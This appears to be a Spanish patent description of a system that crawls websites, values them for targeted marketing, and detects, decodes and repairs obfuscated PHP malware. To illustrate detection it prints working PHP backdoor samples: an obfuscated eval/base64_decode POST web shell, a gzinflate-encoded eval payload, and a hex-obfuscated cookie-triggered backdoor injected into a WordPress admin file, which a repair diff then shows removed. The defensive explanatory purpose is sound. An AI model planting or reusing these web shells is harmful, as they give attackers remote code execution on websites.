Debido a que cada servicio de sitio web puede aparecer diferenciado cuando se ve desde fuera de un sitio web, desarrollar una comprensión de los servicios desde una perspectiva de componente se convierte en un desafío ya que los proveedores de servicios de sitio web intentan determinar qué servicios ofrecer a qué propietarios de sitios web y el precio de esos servicios que mejorará el retorno de la inversión. Los métodos y sistemas descritos en el presente documento para acceder de manera eficiente a contenido de sitio web, tales como aplicaciones, servicios, programas y similares pueden aprovecharse para ayudar en este sentido. Adicionalmente, las técnicas descritas en el presente documento para analizar contenido de sitio web (por ejemplo, para debilidades de seguridad y similares) pueden aprovecharse adicionalmente para facilitar la detección de componentes de servicio comunes de sitios web. Estas técnicas pueden combinarse con conocimiento acerca de calidad de servicio de diferentes proveedores de componentes para diferenciar adicionalmente entre capacidades de sitio web aparentemente comunes. Los componentes de servicio que se clasifican más altos en calidad, por ejemplo, por los usuarios de los servicios, pueden tener precios de venta más altos.
Por lo tanto, a través del acceso eficiente al contenido de sitio web para evitar la carga indebida en los servidores de alojamiento del sitio web y potencialmente interrumpir el acceso al sitio web, el contenido de sitio web 302 puede capturarse en una red de análisis de servidores 304 en donde cada contenido de sitio web puede determinarse en un nivel de servicio de grano fino componentes 308. Los proveedores de servicio de componentes comparables, pero de origen diferente (por ejemplo, de diferentes proveedores de servicio) pueden detectarse a través del uso de toma de huellas dactilares y similares descritos en el presente documento. Esta información puede usarse a continuación para evaluar qué servicios y su valor potencial 310 se están usando en cada sitio web analizado. Esta información puede usarse para formar un perfil de valoración de sitio web para cada sitio web que a su vez puede proporcionar beneficios a proveedores de servicio y alojamiento de sitio web en sus funciones de marketing, ventas, soporte y operación comercial. Puede determinarse la presencia o ausencia 312 de cada servicio 308 y puede calcularse una contribución de valor de servicio de sitio web 314 correspondiente. Cada contribución de valor de servicio de sitio web puede sumarse para producir una valoración de sitio web 318, que puede usarse para identificar acciones impulsadas por valoración de sitio web 320.
Los métodos y sistemas para estimar una oportunidad de valor comercial de sitio web pueden usar atributos similares a los usados para la predicción de infracciones de seguridad raras, posiblemente con diferente ponderación que enfatiza el valor. Como ejemplo, las características del sitio web derivadas de WORD PRESS PLUGINS "wpplugins", como "contactform" y "jetpack" pueden no tener un valor sustantivo, mientras que otros atributos de wpplugins pueden tener un gran valor, como "wp-google-maps" pueden tener una calificación de valoración del sitio de 500. De manera similar, los atributos de las redes sociales pueden tener valoraciones muy diversas para la valoración del sitio. La red social "Twitter" puede tener un valor de 20, mientras que "me gusta de Facebook" puede tener un valor de 0 cuando se determina una valoración de sitio web. Las calificaciones de valoración pueden ser comparables a los costes para comprar/mantener un servicio que corresponde a la característica. Estos costes pueden estimarse o pueden basarse en precios de lista, precios con descuento, precios reales pagados, precio medio y similares para el servicio correspondiente. Como alternativa, la valoración puede no reflejar un coste para comprar/mantener un servicio correspondiente. En un ejemplo, los servicios gratuitos, tales como muchos servicios de asignación, pueden no requerir costes de bolsillo, pero pueden valorarse basándose en el beneficio para los usuarios de sitio web, datos de encuesta de usuario y similares.
La valoración de oportunidad de valor comercial del sitio web puede incluir la descarga de contenido de sitio web, tal como archivos, programas, aplicaciones, funciones y similares desde un servidor de alojamiento del sitio web en un servidor de valoración en el que el contenido de sitio web se analiza buscando, en el contenido descargado, indicadores de una lista predeterminada de características asociadas a valores. Puede acumularse un valor asociado con cada característica detectada, dando como resultado una indicación de la oportunidad de valor comercial de un sitio web. La indicación puede usarse para determinar la posición de un sitio web en un intervalo de valores comerciales de sitio web que puede indicar un valor potencial para un proveedor de servicios de sitio web y similares. Tal intervalo puede sugerir que los sitios web en un extremo superior del intervalo pueden presentar mejores oportunidades para producir nuevos ingresos para el proveedor de servicios de sitio web que aquellos sitios web que caen en el extremo inferior del intervalo. Esta indicación puede usarse por un proveedor de servicio del sitio web o similar para dirigir ofertas específicas o similares a propietarios del sitio web en un intento de recolectar el valor potencial como una nueva fuente de ingresos.
Pueden detectarse características directas del sitio web, mientras que otras pueden inferirse o derivarse. Una característica de sitio web directa podría ser un nombre de sitio web, extensión de dominio o similares. Una característica inferida o derivada podría ser un gasto mensual en compras de adwords o una clasificación de motor de búsqueda. Los sitios web que se presentan como que requieren más tiempo que otros para desarrollarse y mantenerse pueden aumentar la posición del sitio web en la escala de valor ya que un mayor esfuerzo para construir o mantener un sitio web puede ser una indicación de la importancia del sitio web para el propietario. Los propietarios de sitios web son más propensos a gastar dinero en sitios web importantes que en aquellos de importancia trivial. Las características ilustrativas que pueden contribuir a la valoración del sitio web pueden incluir (i) el proveedor de alojamiento -proveedores de alojamiento que ofrecen una calidad de servicio más baja probablemente tienen clientes con una clasificación de valor más baja; (ii) tipo de creador de sitios web utilizado para crear el sitio web - un creador de sitios web gratuito puede ser una indicación de un propietario de sitio web que tiene menos deseo de invertir en un sitio web que otros creadores de sitios web que pueden cobrar por los servicios u ofrecer una mayor cantidad de servicios (mejor valor) y similares; (iii) uso de herramientas analíticas - los propietarios de sitios web que pueblan su(s) sitio(s) web con código y funciones que miden el rendimiento del sitio web (por ejemplo, clics por visitante y similares) pueden ser mejores candidatos para servicios de sitio web de pago que los propietarios que no tiene estas funciones; (iv) clasificación de popularidad en motores de búsqueda y otros servicios de evaluación de popularidad de sitios web; (v) la presencia y el proveedor de un servicio de capa de conexión segura (SSL) pueden informar adicionalmente un valor comercial potencial de un sitio web a diversos proveedores de servicios de sitio web y similares; (vi) presencia y proveedor de servicios de red de distribución de contenido (CDN) para el sitio web; (vii) presencia y proveedores de procesamiento de pago con tarjetas de crédito - las capacidades de procesamiento de pago con tarjetas de crédito auto implementadas, basadas en PayPal y dedicadas proporcionadas por terceros pueden afectar una valoración potencial de un sitio web.
Un indicador de valor de sitio web acumulado basado en acumular un valor asociado con cada característica de sitio web detectada puede ser útil adicionalmente para agrupar sitios web y/o los propietarios de sitio web basándose en el valor acumulado global o el valor acumulado para diversos tipos de características. Todos los sitios web valorados pueden agruparse basándose en su posición relativa en un intervalo potencial de valor comercial de sitio web. El intervalo se puede dividir, por ejemplo, en cuartiles para que todos los sitios web con una indicación de valor comercial en el 1er cuartil puedan agruparse en un primer grupo de oportunidad comercial. Como alternativa, el indicador de valor de característica de sitio web acumulado puede no estar limitado a un intervalo discreto de valores. Basándose en, por ejemplo, nueva información derivada de valoración comercial de sitio web en curso, pueden cambiarse los valores de acumulación que están asociados con las características del sitio web, dando como resultado cambios en una indicación acumulada de valor comercial potencial de sitio web. De esta manera, un valor acumulado puede no tener un máximo o mínimo absoluto. Un enfoque de este tipo puede ser beneficioso para comparar sitios web en lugar de determinar una posición de un valor de sitio web frente a un intervalo predefinido.
La agrupación de sitios web y/o propietarios de sitios web basándose en la acumulación de valores para un subconjunto de características detectadas puede presentar diferentes oportunidades comerciales. Como un ejemplo, los sitios web agrupados que tienen un valor alto basándose en un tipo de servicio del sitio web (por ejemplo, servicio CDN) pueden dirigirse para servicios premium relacionados con distribución de contenido.
Pueden proporcionarse mensajes de marketing de cliente específicos a propietarios de sitio web (por ejemplo, clientes de alojamiento del sitio web) basándose en los datos de sitio web recopilados usando las técnicas de captura de datos ligeros y/o la valoración de los mismos. En un ejemplo, detectar características del sitio web que son consistentes con software de carrito de compras que opera en el sitio podría provocar promociones de software de procesamiento de pago, servicios de capa de sockets seguros (SSL) u otros productos de comercio electrónico. En otro ejemplo de mensajes de marketing de cliente específicos que se proporcionan basándose en la actividad de valoración, el análisis de características de popularidad de redes sociales y la valoración pueden conducir a la solicitud de servicios de optimización de motores de búsqueda (SEO), compra de publicidad (por ejemplo, GOOGLE ADWORDS) y similares.
Los datos de valoración de características del sitio web individuales pueden ajustarse basándose en realimentación y/o información de seguimiento. Como un ejemplo, una característica que corresponde a un servicio gratuito puede valorarse inicialmente basándose en un valor predefinido. Tal valor inicial puede ajustarse basándose en información recién descubierta, tal como retroalimentación de usuarios, proveedores de alojamiento de sitios webs, software de rastreo de Internet automatizado que detecta precios para servicios que corresponden a características del sitio web y similares. Si se determina que un valor inicial es demasiado alto, puede reducirse automáticamente basándose en los datos recién descubiertos. Análogamente, el valor de valoración puede aumentarse automáticamente si su valor inicial es demasiado bajo.
La Figura 4 representa un ejemplo de toma de huellas dactilares como se describe a continuación. El contenido de sitio web de toma de huellas dactilares puede ser beneficioso para determinar sitios web que pueden ser sospechosos de infiltración de seguridad al facilitar la detección de porciones de contenido que sugieren algún tipo de infección. Pueden usarse huellas dactilares como contenido indicar cuándo el contenido cumple con una buena huella dactilar conocida, tal como cuando se determina una huella dactilar de una aplicación de blogs válida y se usa como un control. Pueden usarse huellas dactilares como contenido para indicar cuándo se ha modificado contenido y/o incluye ciertos tipos conocidos de infiltración determinando una relevancia de una huella dactilar generada para una porción de un sitio web objetivo para cualquiera de un intervalo de huellas dactilares de malware.
Las huellas dactilares para una gama de funciones, aplicaciones, complementos y similares del sitio web pueden disponerse en módulos ejecutables 402 que están adaptados para detectar la presencia de una huella dactilar correspondiente en código al que se exponen los módulos. En un ejemplo, los módulos de detección de huellas dactilares individuales pueden compilarse en un único módulo para una operación eficiente. A medida que se recopila contenido de sitio web, tal como a través de una función de rastreo, el contenido recopilado puede procesarse a través de este único módulo de detección de huellas dactilares. Si hay alguna coincidencia, puede activarse una función para el módulo particular para el que coincide una huella dactilar 404 para realizar un procesamiento adicional del contenido, y similares. En el caso donde las páginas de sitio web se procesan individualmente 408, los algoritmos de procesamiento posterior 410 pueden realizar funciones adicionales en los resultados de página individuales para garantizar que se manejen firmas de páginas cruzadas. Esto puede incluir unidades de contenido que no están completas en una única página. Esto también puede incluir contenido en diferentes páginas de sitio web que está relacionado. Estas opciones pueden incluir situaciones tales como cuando el código en una primera página de sitio web enlaza con el código en una segunda página de sitio web, y similares.
El procesamiento posterior del contenido de página de sitio web a través de páginas puede incluir también comparar sitio web y/o rendimiento de página web entre una pluralidad de páginas dentro de un sitio web o entre diferentes sitios web. Debido a que el rendimiento del sitio web se mide generalmente en relación con el rendimiento de otros sitios, realizar un procesamiento posterior basándose en datos recopilados durante el procesamiento de páginas de sitio web individuales puede facilitar tal análisis de rendimiento. Al recopilar y analizar resultados de página, cada sitio web y/o página puede clasificarse en métricas, tales como rendimiento para determinar mejor qué sitios son mejores candidatos para características de mejora de rendimiento, tales como redes de distribución de contenido (CDN) y similares. Además, a medida que se explora un sitio web, se retiene y analiza información acerca del sitio buscando categorías de métricas que son de interés particular en lugar de realizar una huella dactilar completa de cada página a medida que se procesa. Esto acelera el proceso de escaneado del sitio web mientras mejora el rendimiento de un ordenador que explora el sitio web de modo que cada sitio web puede tomarse una huella dactilar y analizarse más rápidamente. Pueden tomarse huellas dactilares de páginas individuales basándose en la información retenida cuando sea necesario o cuando la utilización de recursos informáticos sea baja.
Sin embargo, la toma de huellas dactilares de contenido de sitio web puede también ser útil para el cálculo de valoración de oportunidad de valor comercial eficiente. Esto puede ser particularmente útil cuando se trata de contenido que se pretende que proporcione un alto grado de seguridad y protección de información personal, tal como software de procesamiento de tarjetas de crédito. Aplicando el enfoque de verificar una huella dactilar generada de contenido objetivo con una huella dactilar buena conocida, puede ser posible determinar al menos qué funcionalidad de procesador de tarjeta de crédito está operando en un sitio web objetivo. Por ejemplo, las características de procesamiento de tarjetas de crédito de PayPal y MasterCard en sitios web son sustancialmente diferentes; por lo tanto, una huella dactilar para una implementación de PayPal puede distinguirse fácilmente de una huella dactilar para una implementación de procesamiento de tarjeta de crédito MasterCard.
Debido a que puede personalizarse cada implementación de sitio web única de, por ejemplo, capacidades de procesamiento de tarjetas de crédito, puede producirse una huella dactilar diferente para cada implementación de sitio web de MasterCard. A través de la acumulación de grandes números de huellas dactilares para sitios web que de otro modo pueden ser conocidos por usar MasterCard, un sistema de aprendizaje automático puede determinar aspectos de las huellas dactilares que son consistentes y forman, por lo tanto, una porción de huella dactilar base o genérica de una implementación de MasterCard. Esto puede posibilitar la determinación de un proveedor de servicio de procesador de tarjetas de crédito para un sitio web de terceros para el que puede no estar disponible fácilmente otra información contextual.
La Figura 5 representa una realización de decodificación y reparación automática de PHP como se describe a continuación. La protección automática y continua de datos para un sitio web a través de detección remota de debilidad de seguridad, reparación de código en línea y restauración de archivos con demanda de ancho de banda de datos de nivel lento puede incluir técnicas para ejecutar y/o decodificar de forma segura el contenido de sitio web ofuscado, tal como el código de programa de preprocesador de hipertexto ejecutable.
La detección selectiva de debilidad de seguridad de datos y programas de sitios web, reparación de contenido en línea y restauración de archivos con un impacto insignificante en la demanda de ancho de banda de datos puede requerir técnicas de análisis de datos y contenido de sitios web que anteriormente no han sido posibles. Proporcionar un nivel de seguridad para datos y contenido de sitio web, tal como programas de sitio web, aplicaciones, complementos y similares que mantienen la integridad de datos y contenido de sitio web, puede requerir verificar continuamente o al menos repetidamente porciones clave de contenido de sitio web. Realizar una verificación continua sin colocar una demanda en un servidor de alojamiento del sitio web que impacte el acceso al sitio web de los usuarios y administradores de sitio web puede requerir la optimización del acceso a datos y las funciones de validación de seguridad de contenido. Sin embargo, la infiltración de seguridad de datos y virus de sitio web actual se ha vuelto altamente sofisticada mientras que los proveedores de contenido de sitio web legítimos (por ejemplo, terceros que proporcionan servicios, tales como blogs y similares) aumentan el grado de ofuscación en su código para frustrar la ingeniería inversa. Esta combinación hace que muchos virus de contenido de sitio web, datos y código existentes y técnicas de detección de debilidad de seguridad sean antieconómicas o, peor aún, e ineficaces para detectar verdaderas infracciones de seguridad.
Los problemas relacionados con la debilidad e infiltración de seguridad de datos y contenido de sitio web descritos en el presente documento tienen una urgencia concomitante para la detección y reparación ya que el código malicioso y la infiltración de seguridad pueden dar como resultado interrupciones masivas en la actividad comercial, robo de información personal y similares. Por lo tanto, tales problemas no solo son difíciles de detectar usando técnicas convencionales de detección de malware basadas en ordenador, sino que deben detectarse y repararse rápidamente, lo que requiere el uso de ordenadores especialmente configurados y programados con algoritmos específicamente diseñados para optimizar el rendimiento de las instalaciones de almacenamiento de datos en sitios web, servidores de alojamiento de sitios web, servidores de detección de debilidad de seguridad y similares.
Análogamente, realizar estas funciones de detección y reparación de seguridad sofisticadas debe colocar una carga manejable en los recursos informáticos usados para alojar el contenido de sitio web. Por lo tanto, muchas técnicas existentes, tales como software de recarga, no satisfacen las necesidades de rendimiento para la viabilidad comercial. Los métodos y sistemas que usan algoritmos de bajo impacto para determinar qué contenido de sitio web descargar para pruebas adicionales dan como resultado mejoras específicas en el rendimiento de los recursos informáticos (por ejemplo, servidores de sitio web) con respecto a las técnicas existentes.
Mediante el uso de virus y recursos informáticos remotos reforzados con seguridad, los métodos y sistemas de detección automática y continua de debilidad de seguridad de datos y de infiltración, de reparación de archivos y de restauración pueden realizarse con un alto grado de detección de infiltración de seguridad y reparación mientras se cargan muy ligeramente datos de ancho de banda de una instalación informática que aloja contenido, datos, programas y similares del sitio web objetivo. A través de combinaciones de técnicas de exploración que pueden revelar áreas de debilidad potencial y/o áreas de alta complejidad de contenido con datos específicos de contenido y detección de debilidad de seguridad de programa y reparación automatizada, pueden proporcionarse datos automáticos y continuos económicos e integridad de sitio web.
Los procesos ilustrativos para dicha detección de debilidades de seguridad de datos y sitios web y reparación pueden implicar, en un alto nivel de abstracción, determinar qué porción o porciones de contenido del sitio web explorar, acceder al contenido determinado, descargar el contenido accedido en una instalación informática de procesamiento de seguridad de datos y contenido de sitio web remota, realizar exploraciones en el contenido descargado en busca de firmas sospechosas o conocidas, decodificar el contenido ejecutable tal como programas, operar programas con una instalación de ejecución de código reforzada para detectar malware, reparar porciones del contenido de sitio web descargado tal como dentro de un archivo que incluye un código ejecutable, restaurar el contenido de sitio web reparado en el sitio web, y rastrear actividades de detección, reparación y restauración para facilitar una operación más eficiente en las posteriores exploraciones de debilidad de seguridad de datos y contenido de sitio web.
Si bien los enfoques menos completos pueden simplemente reemplazar una porción infectada de contenido de sitio web con contenido bueno conocido (por ejemplo, reemplazar un archivo de preprocesador de hipertexto (PHP) ejecutable con una copia segura conocida certificada), los métodos y sistemas de debilidad de seguridad de contenido de sitio web y detección de infiltración y reparación realizan la reparación de una porción infiltrada, que puede ser una llamada de función dentro de un programa, datos para su uso por un programa o similares. De esta manera, la individualidad de cada sitio web puede mantenerse mientras se proporciona un alto grado consistente de integridad de contenido de sitio web. Esto puede permitir que dos sitios web con diferentes versiones de la misma aplicación (por ejemplo, una aplicación de blogs) reciban datos comparables y protección de contenido de sitio web contra virus, malware y similares sin requerir que cualquiera de los sitios web se ajuste a una versión específica de la aplicación objetivo.
Como alternativa, una porción infectada de contenido de sitio web puede reemplazarse con contenido bueno conocido reemplazando el contenido de sitio web infectado con el contenido bueno conocido de la misma versión de una base de datos de dicho contenido de sitio web o de una fuente de terceros conocida que distribuye el contenido. Como alternativa, solo una porción del contenido de sitio web puede reemplazarse a partir de una buena fuente conocida, reparando solo una porción del contenido de sitio web infectado. En un ejemplo, puede determinarse que una aplicación de sitio web, tal como una aplicación de blogs o similares, está infectada. Una aplicación de creación de blogs correspondiente de la misma versión usada en el sitio web puede recuperarse y guardarse de nuevo en el servidor de alojamiento del sitio web, reemplazando la aplicación infectada. Si la aplicación residente de sitio web incluía personalización de usuario, tal personalización puede configurarse opcionalmente en la correspondiente aplicación recuperada antes de guardarse en el servidor de alojamiento del sitio web. En otro ejemplo más, puede detectarse y aislarse una porción comprometida de una aplicación de sitio web, tal como una llamada de función, una subrutina, un módulo invocable, una cadena de argumentos y similares. Puede recuperarse una aplicación de sitio web correspondiente de la misma versión usada en el sitio web y puede usarse una porción que corresponde a la porción infectada para reemplazar la porción infectada. El archivo reparado puede a continuación escribirse de nuevo en el servidor de alojamiento del sitio web.
Los métodos y sistemas descritos en el presente documento pueden incluir técnicas de optimización de acceso a contenido de sitio web que pueden incluir comparar marcas de tiempo 514 de archivos de sitio web con un registro de cuándo se procesó por última vez cada archivo de sitio web. Si una marca de tiempo de archivo de sitio web es más nueva que la última marca de tiempo procesada, puede accederse al archivo de sitio web y descargarse para procesamiento adicional. Como alternativa, el archivo de sitio web puede marcarse como que necesita un análisis adicional antes de que se acepte como no comprometido o se descargue. Un archivo de sitio web que no tiene una fecha de última exploración exitosa correspondiente puede considerarse un archivo nuevo de modo que puede realizarse exploración más reparación según sea necesario.
Al realizar una verificación ligera de datos de modificación de archivo, específicamente una marca de tiempo de último archivo modificado que se mantiene por un procesador de sistema de archivos de dispositivo informático de alojamiento del sitio web, puede determinarse una demanda de ancho de banda inicial para un sitio web basándose en un inventario de archivos en el sitio. Cada archivo en un sitio web, independientemente del tamaño, puede clasificarse para esta verificación de seguridad de primer nivel para una cantidad modesta y predecible de demanda de ancho de banda de acceso y recursos informáticos. Estas técnicas son preferibles a las técnicas anteriores que pueden incluir comparar cada archivo en un sitio web con una versión anterior porque no solo puede infectarse una versión anterior, sino que los sitios web pueden tener una gran cantidad de archivos y comparar cada uno con un archivo bueno conocido colocaría una carga inaceptable en el servidor de alojamiento de sitios web y una alta demanda de recursos informáticos solo para determinar si un archivo ha cambiado. La mera determinación de que un archivo ha cambiado no es determinante para detectar una debilidad o infracción de seguridad. En una implementación convencional, un gran porcentaje de archivos en un sitio web puede cambiar cada día, disminuyendo aún más el valor de las soluciones de seguridad de sitios web anteriores.
Una vez que se descarga un archivo 502, pueden usarse 504 diversas técnicas de integridad de archivo, tales como coincidencia de firma, contenido difuso o coincidencia de metadatos derivados, huellas dactilares y similares para evaluar un grado de infección potencial, debilidad de seguridad, malware, infiltración de virus y similares. Tener simplemente una huella dactilar no conforme puede no detectar definitivamente contenido comprometido; sin embargo, realizar tales comprobaciones operativas rápidas puede mejorar adicionalmente el rendimiento de un ordenador que realiza seguridad de contenido de sitio web. Estos avances pueden proporcionar beneficios adicionales, tales como acelerar la exploración, la detección, la reparación y la restauración generales del sitio web.
Para detectar infiltración, malware, virus y similares en contenido de sitio web altamente complejo, tal como archivos ejecutables de PHP y similares, pueden requerirse técnicas que van más allá de la generación de firmas y coincidencia de contenido. Pueden requerirse 508 técnicas tales como decodificar contenido de sitio web complejo, ejecutar contenido de sitio web ejecutable mientras se observa un resultado de tal ejecución, y similares. Esto puede deberse a infiltraciones que son cada vez más complejas de detectar sin ejecutar o decodificar. Esto puede deberse también a las prácticas actuales de hacer cualquier tipo de programas de sitio web más ofuscados mediante el uso de codificación mal dirigida de PHP, uso de instrucciones de tipo lenguaje de máquina y similares para colocar un grado cada vez mayor de desafío a intentos potenciales de ingeniería inversa.
Las técnicas de detección de malware pueden incluir la verificación de enlaces maliciosos usando un módulo LinkCheck que puede incluir determinar si los URL encontrados en el contenido de sitio web están incluidos en una lista de enlaces maliciosos. La verificación de firma de elemento de contenido de archivo y sitio web con un módulo ClamAVScan puede incluir verificar una firma generada durante una exploración a una buena firma conocida y/o a una firma previamente determinada. Si ClamAVScan detecta un código PHP que es sospechoso, puede decodificarse y reevaluarse. Un módulo FileCheck puede buscar nombres sospechosos en archivos/carpetas. Puede evaluar adicionalmente estructuras de archivos y eliminar instalaciones de infección más grandes. Un módulo de puntuación de código puede usar lógica difusa para generar una puntuación para diversos atributos de programas de sitio web. La puntuación generada puede usarse para indicar programas de sitio web sospechosos o actividad de esos programas. Un módulo de código común mantiene una biblioteca de aplicaciones de "stock" para su comparación con archivos de clientes.
El contenido de sitio web complejo puede incluir programas de sitio web, tales como código PHP que es un lenguaje de secuencias de comandos de propósito general ampliamente utilizado que es especialmente adecuado para el desarrollo de sitios web y puede embeberse en contenido de sitio web tal como lenguaje de marcado de hipertexto (HTML). Este contenido puede parecer meramente complejo, pero al mismo tiempo puede incluir infiltraciones de seguridad profundamente ofuscadas. A continuación, se muestra un ejemplo para representar la dificultad de detectar y fijar datos e infiltraciones de seguridad de contenido de sitio web. Se puede inyectar un fragmento de PHP malicioso en el contenido de sitio web:
<?php $sblk08="epadt6o4_sbc" ; $lgrs8 = strtolower(
$sblk08[10].$sblk08[2].$sblk08[9]. $sblk08[0].$sblk08[5], $sblk08[7]
$sblk08[8].$sblk08[3].$sblk08[0], $sblk08[l I].$sblk08[6].$sblk08[3], $sblk08[0]);
$aeng7=strtoupper($sblk08[8].$sblk08[l].$sblk08[6].$sblk08[9].$sblk08[4]); if(isset (
${ $aeng7 } [ 'nace81e' ] )){ eval( $lgrs8( ${$aeng7 }[ 'nace81e']) ) ;} ?> (Ec: 1)
La primera variable en este código se usa como una clave:
$sblk08="epadt6o4_sbc" (Ec: 2)
Esa clave se usa para ocultar la intención del resto del código, por ejemplo:
$lgrs8 = strtolower($sblk08[10].$sblk08[2].$sblk08[9].$sblk08[0]. $sblk08[5].$sblk08[7].$sblk08[8].$sblk08[3].$sblk08[0].$sblk08[ll]. $sblk08[6].$sblk08[3].$sblk08[0]); (Ec: 3)
funciona como "base64_decode"; y
$aeng7 =strtoupper ($sblk08[8], $sblk08[l].$sblk08[6], $sblk08[9].$sblk08[4]); (Ec: 4)
funciona como el comando "POST".
El resultado final cuando se decodifica este código se convierte en:
if(isset ( $_POST[ 'nace51e' ])){ eval( base64_decode( $_POST[ 'nace51e']));} (Ec: 5)
Esto le da a un pirata informático que ha colocado esta infiltración de seguridad la capacidad de ejecutar cualquier código en el sitio web infiltrado.
Sin embargo, debido a que hay muchas combinaciones de orden posibles de las letras "epadt6o4_sbc", la coincidencia de cadenas simple es casi imposible. Que un pirata informático de seguridad pueda rellenar esa cadena con caracteres inútiles hace que la coincidencia de cadenas sea aún más difícil. Al decodificar la cadena, pueden crearse firmas usando el código des-ofuscado (por ejemplo, "eval(base64_decode( $_POST["). Podría construirse una buena firma conocida a partir del código original para facilitar la coincidencia de firma; sin embargo, esto puede dar como resultado muchos falsos positivos. Esencialmente, sin saber que el código se está ejecutando desde la solicitud (usando la operación POST) no se puede estar seguro de que sea malicioso.
Otro ejemplo de ofuscación de contenido complejo de sitio web puede incluir contenido base64 / comprimido:
eval(gzinflate(base64_decode('SylLzNFQiQ/wDw6JVkrOT01VitUEAA=='))); (Ec: 6)
es un código malicioso que decodifica a "eval($_POST["code"])". Considerando que:
eval(gzinflate(base64_decode('S03OyFdQKs1IzMsuVkjLL1IoLc7MS1flrVQoyClNz8xTAgA='))); (Ec: 7)
es un código no malicioso que dice "gracias por usar mi complemento". Al usar gzinflate, una cadena se puede manipular en muchas combinaciones. Por ejemplo, merle agregando comentarios simples:
/*eval*Aneval($_POST["code"]); (Ec: 8)
cambia completamente la cadena a:
eval(gzinflate(base64_decode('09dKLUvM0dKPyQPRGirxAf7BIdFKyfkpqElqxmtY A'))); (Ec: 9)
Estos ejemplos proporcionan una indicación de la complejidad de procesar contenido de sitio web complejo para detectar debilidades de seguridad e infiltración automáticamente.
Para determinar de manera efectiva qué código PHP es malicioso y cuál es inofensivo, los métodos y sistemas descritos en el presente documento pueden incluir algoritmos que, cuando se ejecutan en un procesador informático, pueden separar el código PHP en componentes que pueden facilitar otras formas de detección de debilidad de seguridad. Separar el código PHP en componentes puede facilitar adicionalmente determinar qué función se pretende que realice el código.
Los métodos y sistemas descritos en el presente documento, tales como para separar código PHP en componentes, pueden incluir un motor de análisis de código de sitio web y un intérprete de código que está adaptado para examinar cada elemento de código de sitio web, tal como variables, comandos y similares. Un motor e intérprete de este tipo pueden detectar cada tipo de elemento, determinar si presenta un riesgo de seguridad y marcar tales riesgos para un análisis adicional, tal como ejecutar el código en un entorno que puede controlarse de modo que puede contenerse cualquier resultado malicioso. El intérprete puede proporcionar un entorno de tipo ejecución para determinar un resultado real de ejecución de una porción del código de sitio web.
Otra técnica capturada en los métodos y sistemas descritos en el presente documento puede incluir ejecutar, o al menos ejecutar parcialmente, código p Hp en recursos informáticos que pueden no ser vulnerables a código PHP malicioso. Monitoreando la actividad de recursos informáticos (por ejemplo, acceso a memoria y similares) resultante de ejecutar código PHP, puede detectarse automáticamente código malicioso. Análogamente, si el código de PHP es parte de una función de sitio web conocida (por ejemplo, una capacidad de creación de blogs), entonces pueden usarse firmas de ejecución de la función conocida como un control para determinar si el PHP ejecutado genera una firma comparable. El código PHP que se ejecuta al menos parcialmente que desencadena un indicador de código malicioso, tal como acceso a memoria inapropiado, acceso directo a hardware, configuración de código desconocido en memoria y similares, puede marcarse como malicioso.
Una vez que dicho código se marca como malicioso, la porción que forma el código malicioso puede eliminarse automáticamente bajo el control de un procesador que ejecuta un algoritmo para eliminar y/o reemplazar el código malicioso con el código 510 apropiado. Esto se puede hacer dentro de un elemento de contenido de sitio web descargado, tal como un archivo y similares. Una vez que se elimina el código malicioso de un archivo y solo queda código no malicioso, el archivo puede restaurarse en el sitio web 512 a través de diversas técnicas que incluyen FTP, acceso directo y similares.
Las arquitecturas de hardware y sistema para la decodificación de contenido de sitio web y la detección de infiltración de seguridad pueden incluir arquitecturas informáticas masivamente fragmentadas basadas en pod escalables como se describe en la patente de Estados Unidos relacionada 9.246.932 (expediente n.° SITE-0001-U01). Las características de arquitectura, tales como servidores de exploración, servidores de planificación, acceso directo a sitio web para servidores de prueba, bases de datos fragmentadas y similares pueden usarse para y dentro de implementaciones de los métodos y sistemas descritos en el presente documento, incluyendo técnicas para predecir con precisión eventos de violación de seguridad de contenido de sitio web raros.
El código malicioso y una versión reparada comparable se muestran a continuación. En primer lugar, el código malicioso que representa una violación de seguridad de datos:
> * * * 11 1 * * * *
> ! <?php $odv="_\x43\x4f\x4f\x4b\x49\x45";$t71=&$$odv;$zr=array("z9i"=>"\x72h\x36\x39\ x68\x35\x62\x67","lu"=>@$t71["z\x73\x36\x76"],"pqg"=>"cr\x65\x61\x74\x65\x5f\x 66\x75\x6e\x63\x74\x69\x6f\x6e","z0x"=>"ba\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\ x64\x65","gj"=>"\x6d\x64\x35","b0z"=>"\x38\x36\x64d7\x30b\x619\x30\x38\x66\x3 5\x63\x3 l\x3 6\x3 7\x62\x34\x3 6\x64\x3 7\x3 5\x65\x3 6\x3 7\x63\x63\x3 3\x3 7\x3 l\x34 ");$xb="e\x78\x74\x72\x61\x63\x74";$xb($zr);if($gj(@$t71[$z9i])==$b0z){$wrv=$p qg("" ,$zOx($lu)); $wrv();}
>
> /**
> * Dashboard Administration Screen
> *
> * @package WordPress
> * @subpackage Administration
> */
>
> /** Load WordPress Bootstrap */
> require_once( dirname(___FILE___ ) . '/admin.php' );
A continuación, se repara el mismo código con la porción maliciosa. La cadena larga después de que "?php" se haya limpiado, reparando de este modo la violación de seguridad. El archivo que contiene el contenido reparado puede reemplazar ahora el archivo correspondiente en el almacenamiento del servidor de sitio web para completar la reparación de la violación de seguridad de datos que incluye las etapas de detección de contenido malicioso, análisis adecuado de la porción del contenido que es malicioso, reparación de la porción maliciosa y la restauración de los archivos del sitio web con contenido reparado.
>---1,11 —
> ! <?php
>
> /**
> * Dashboard Administration Screen
> *
> * @package WordPress
> * @subpackage Administration
> */
>
> /** Load WordPress Bootstrap */
> require_once( dirname(___FILE___ ) . '/admin.php' );
Un archivo de sitio web puede incluir contenido que puede procesarse y/o interpretarse por un procesador informático para realizar una amplia gama de operaciones de interfaz de usuario, acceso a datos y manipulación de datos. Aunque cualquier operación individual puede causar o no un impacto malicioso en un contenido de sitio web o usuarios del sitio web, se sabe generalmente que las combinaciones de tales operaciones son maliciosas. Adicionalmente, las disposiciones de variables se han asociado con el uso malicioso de estas operaciones. Analizando un archivo de sitio web para detectar la presencia de diversas operaciones, variables, características y similares, puede detectarse contenido malicioso. Adicionalmente, el contenido que cuando se ejecuta daría como resultado una intrusión de seguridad o violación de datos puede detectarse comparando la presencia de las operaciones, variables y características con otros archivos que se sabe que son maliciosos. Una firma que asigna una entrada en una matriz o similar para al menos una porción de posibles operaciones, variables, funciones y similares puede generarse y usarse para determinar una probabilidad de que el archivo sea malicioso.
